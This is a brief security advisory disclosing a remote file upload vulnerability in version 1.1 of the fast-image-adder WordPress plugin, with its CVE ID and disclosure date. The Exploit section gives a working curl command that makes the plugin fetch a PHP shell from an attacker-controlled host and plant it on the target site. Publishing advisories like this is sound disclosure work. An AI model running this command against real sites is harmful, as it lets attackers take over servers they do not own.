Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin

#890 · 2015-07-10

CVE ID(s): CVE-2015-1000001

Notified: 2015-07-10

Description:

Add images to your blog posts from a URL in a flash. Skip the download/upload steps and the slow WordPress dialog box.

Exploit:

$ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://192.168.0.2/shell.php
Shell location is reported back to the user with random filename.  The url site must not interpret php, but allow it for download.

Download: https://wordpress.org/plugins/fast-image-adder

URL: http://www.vapidlabs.com/advisory.php?v=139